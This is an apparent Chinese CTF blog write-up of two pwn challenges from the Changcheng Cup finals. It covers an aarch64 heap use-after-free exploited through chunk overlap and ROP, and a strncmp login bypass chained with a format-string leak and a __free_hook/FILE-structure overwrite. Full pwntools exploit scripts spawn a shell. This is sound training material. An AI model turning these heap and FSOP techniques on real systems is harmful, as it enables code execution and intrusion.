笔记 & WP

长城杯决赛_PWN

Word count: 2.1kReading time: 10 min
2024/05/27

Fxxk

鄙人前几天在长城杯中滑铁卢了,被裁判搞的纠结题目是不是是除了堆题以外还有一个qemu逃逸(裁判反复说在/home/flag);当时应该据理力争的,qemu都把flag挂载进去了,出题人也是典哇,明明可以一条龙挂载,结果赛后我百度-drive,需要我手动挂载出来,或者要dev直接读,是不会用qemu不是好pwn手咩,咱就是说这shell我如拿

另一个题也差不多,赛后越想越不对劲,strncmp原来不是强制匹配,丫的memcmp才是,被自己迷惑了,绕过登录我包出的,啊啊啊啊啊啊啊

不说了,下面是我赛后一天内自己做出来的,越做越想打自己脸,没有专项和少说二等奖了

not_so_aarch64

题目给了我们很多东西,但只能说没用的一堆,我们还需要自己解包

这个先解出来,然后是cpio加密的包,在解压就是我们需要的东西了,之前学过一点点

然后我们直接用qemu用户态模拟就可以,然后我们可以直接用它的libcld,这样就可以跟远程环境标齐

然后我一般会检测libc.so.6的版本,发现是libc.2.35的,因为我们nc远程的时候就发现应该是个堆题,所以libc的版本很重要,然后arrch64的堆实际上跟amd64是大差不差的

代码审计

喜闻乐见的UAF

好好好 限制0x68,唯一选项风水布局,100%伪造堆块

分析结构体

UAF 需要管理块的值都在

结构体是

1
2
3
4
5
struct fxxk{
long int chunk_size;
long int unfree;
char * chunk;
}

思路

通过申请两次(当然chunk的大小不能是管理chunksize),然后释放掉,申请一个chunk大小是管理大小的chunk,这样我们就可以控制一个管理chunk的chunk指针,然后我们就可以控制它为我们伪造的chunk上,释放,然后拿libc,任意地址申请,哈哈哈哈哈哈哈 完美

我们需要风水布局好,然后用我们上面的思路就可以释放伪造chunk,然后使得chunk重叠,通过chunk重叠,我们又可以控制某个管理chunk,使它指针指向environ地址,这样我们就可以泄露出来stack地址,然后就可以进行ROP

问题

我们无法拿到全部的heap基址,所以需要爆破两位,所以脚本是1/256的概率

ROP

这里ROP是不同于amd64,也是被恶心到啦,找了半天才找到两个gadget

这里需要控制x20x21即可,所以下面是控制这两个的gadget

ok,至此拿shell的难点没了

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
from pwn import *
import os
context(arch='arm', os='linux',log_level="debug")
libc = ELF("./lib/libc.so.6")
def get_p(name):
global p,elf
# p = process(["qemu-aarch64","-L","./","-g","1234",name])
# p = process(["qemu-aarch64","-L","./",name])
# p = process(["qemu-aarch64","-g","1234",name])
p = remote("172.18.0.1",9999)
elf = ELF(name)

def gdb_attach():
os.system('/mnt/c/Users/KaiJia/AppData/Local/Microsoft/WindowsApps/wt.exe wsl.exe gdb-multiarch -ex \'target remote 127.0.0.1:1234\'')
#os.system('gnome-terminal --geometry=122x60+10+10 -x bash -c "gdb-multiarch pwn -ex \'target remote 127.0.0.1:1234\'"')

def add(size,content):
p.sendlineafter("> ",'1')
p.sendlineafter("size: ",str(size))
p.sendafter("content: ",content)

def show(idx):
p.sendlineafter("> ",'3')
p.sendlineafter("Index: ",str(idx))

def dele(idx):
p.sendlineafter("> ",'2')
p.sendlineafter("Index: ",str(idx))

def get_real_heap(heap):
for i in range(255):
add(0x18,p64(0x30)+p64(1)+p64(heap+0x1000*i+8))
show(1)
if b"\x91\x02" in p.recv():
heap = heap+0x1000*i+8
break
dele(3)
return heap


def attack():
# gdb_attach()
# 0x4000000000 + 0x00B84
#0x4000000000 + 0x00F84
add(0x50,"AAAAA") #0
dele(0)
add(0x50,"A") # 1
show(1) #--1


p.recvuntil("A")
heap_addr = (u64(b"\x00"+p.recv(4).ljust(0x7,b"\x00"))+0x13) * 0x1000
print(hex(heap_addr))
add(0x50,"A") #2

# show(8)
dele(1)
dele(2)

add(0x18,p64(0x30)+p64(1)+p64(heap_addr+0x3d0)) #3

add(0x60,p64(0)+p64(0x431)) #4
for i in range(6): # 4+6
add(0x60,b"A"*8)

add(0x68,b"A"*(0x68-0x28)+p64(0)+p64(0x41)) #11
add(0x60,b"A"*8) #12

dele(1)

# show(1)

add(0x30,"A"*8) #13
show(13)#--2

p.recvuntil("A"*8)
libc.address = u64(p.recv(8)) - 0x19cf60
print(hex(libc.address))
# show(13)

add(0x30,p64(0x10)+p64(1)+p64(libc.sym['environ'])) #14
show(5)#--3

stack = u64(p.recv(8)) - 8 - 0x1d0 - 0x20
print(hex(stack))
dele(7)
dele(6)

add(0x18,b"A"*8)
add(0x18,"A"*8)

add(0x28,b"A"*0x10 + p64(stack^((heap_addr+0x4e0)>>12)))

add(0x60,b"A"*8)
show(5)#--4

gadget = 0x0F46D4 + libc.address
gadget_2 = 0x03BA80 + libc.address
system = libc.sym['system']
binsh = next(libc.search(b"/bin/sh"))
add(0x60,b"A"*0x8 + p64(gadget) + p64(gadget_2)*4 + p64(binsh)*1+p64(system)+p64(binsh))


while True:
try:
get_p("./pwn")
attack()
p.interactive()
except:
p.close()

下面是我吐槽部分

吐槽

可以发现是没有flag的,qemu有挂载,裁判跟我说是在/home目录下,我真的是质疑自己要死了,以至于我后面心态都崩溃掉了,百度说可以通过fdisk检查挂载项

所以我们要cat /dev/vda,没想到吧

不是正常出题人,谁这样加难度哇,pwn手做题跟做misc一样找flag是吧,有人会说grep一把梭,我只能说包卡死的老弟,我试过了,裁判的/home才是最颠的,直接把我误导

power_system

伴随着上题的崩溃,在场上是心态炸裂的状态看下去的,忽略了strncmp函数的漏洞

代码审计

我们需要绕过这个strncmp,并且有一个泄露的地方,printf_chk,虽然限制了我们用$绝对索引

这里我们看pwn_hash

有一个00字符!这个是我对strncmp函数误判所忽略的

绕过思路

通过hash碰撞可以绕过,hash碰撞脚本

1
2
3
4
5
6
7
8
9
import hashlib
for i in range(0x10000000):
text = str(i)+"%p%p%p%p"
algorithm = hashlib.sha256()
algorithm.update(text.encode(encoding="utf-8"))
# print(algorithm.hexdigest()[:6])
if "e85000" == algorithm.hexdigest()[:6]:
print(text)
break

这样就可以炸出来,然后也可以泄露出来libc地址,ld和libc都给了,所以偏移啥的都是一样的,只要可以精准算到libc基址的直接硬造

漏洞

这里是有符号的判断,所以我们可以绕过,对其bss数据进行操作,很明显bss上是指针的地方只有那几个,就是stdoutstderr以及stdin,这里就控制stderr就可以,其他的我们都会调用到,会刷新并且可能会报错

修改free_hook

这里可以修改free_hook,所以节省了我们FSOP的难度,总结下来比上题要简单不少,通过IO_file_underflow调用即可

这里也刚好我们可以控制指针,简简单单

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
from pwn import*
context(arch='amd64', os='linux',log_level="debug")
context.terminal=["wt.exe","wsl.exe"]
#libc = ELF("../libc/")
libc = ELF("./libc-2.29.so")
"""""
def xxx():
p.sendlineafter("")
p.sendlineafter("")
p.sendlineafter("")
"""

def get_p(name):
global p,elf
p = process(name)
#p = remote("")
elf = ELF(name)

def get_passwd():

for i in range(0x1000000000000):
p.sendlineafter(">> ",'2')
p.sendlineafter("Please input admin account : ",b"QAQ")
p.sendlineafter("Please input admin password : ",str(i))
panduan = p.recvline()
# print(panduan)
if b"Login Success" in panduan:
break


def adjust(idx,size,content):
p.sendlineafter(">>",'2')
p.sendlineafter("Select the node to adjust the power: ",str(idx))
p.sendlineafter("Set power size: ",str(size))
p.sendlineafter("Sets the name of operating staff: ",content)

def shut(idx):
p.sendlineafter(">>",'3')
p.sendlineafter("Select the node to turn off the power: ",str(idx))

def edit(content):
p.sendlineafter(">>",'4')
p.sendafter("Write in __free_hook",content)

def show():
p.sendlineafter(">> ",'1')

get_p("./pwn")
p.sendlineafter(">> ",'2')
p.sendlineafter("Please input admin account : ",b"QAQ")

p.sendafter("Please input admin password : ","1978594%p%p%p%p")
# get_passwd()
p.recvuntil("0x")
p.recvuntil("0x")

libc.address = int(p.recv(12),16) - 0x1ec5c0
print(hex(libc.address))
sleep(2)

_IO_obstack = 0x001E6320 + libc.address
_test = 0x0001E5AE0 + libc.address

fake_file_addr = 0x414141414141
payload =flat({
0x18:1,
0x20:0,
0x28: 1,
0x30:0,
0x38: 0,
0x48: next(libc.search(b'/bin/sh')),
0xD8: _test+0x8,
0xe0:0,
}, filler=b"\x00")
adjust(-2,0x0,payload[8:].ljust(0xe0,b'\x00'))
# gdb.attach(p,"b *$rebase(0x001F96)")
# gdb.attach(p,"b *&exit")
# sleep(2)
edit(p64(libc.sym['system']))

# adjust(-4,0x0,"\x00"*0xe0)
p.interactive()

总结

这次算的上是蛮遗憾的 我的实力并不在他们之下啊!但是fuck it,又要朝前看了!

被失利绊住脚可是最愚蠢的,继续努力吧

CATALOG
  1. 1. Fxxk
  2. 2. not_so_aarch64
    1. 2.1. 代码审计
    2. 2.2. 分析结构体
    3. 2.3. 思路
      1. 2.3.1. 问题
      2. 2.3.2. ROP
    4. 2.4. exp
      1. 2.4.1. 吐槽
  3. 3. power_system
    1. 3.1. 代码审计
      1. 3.1.1. 绕过思路
      2. 3.1.2. 漏洞
      3. 3.1.3. 修改free_hook
    2. 3.2. exp
  4. 4. 总结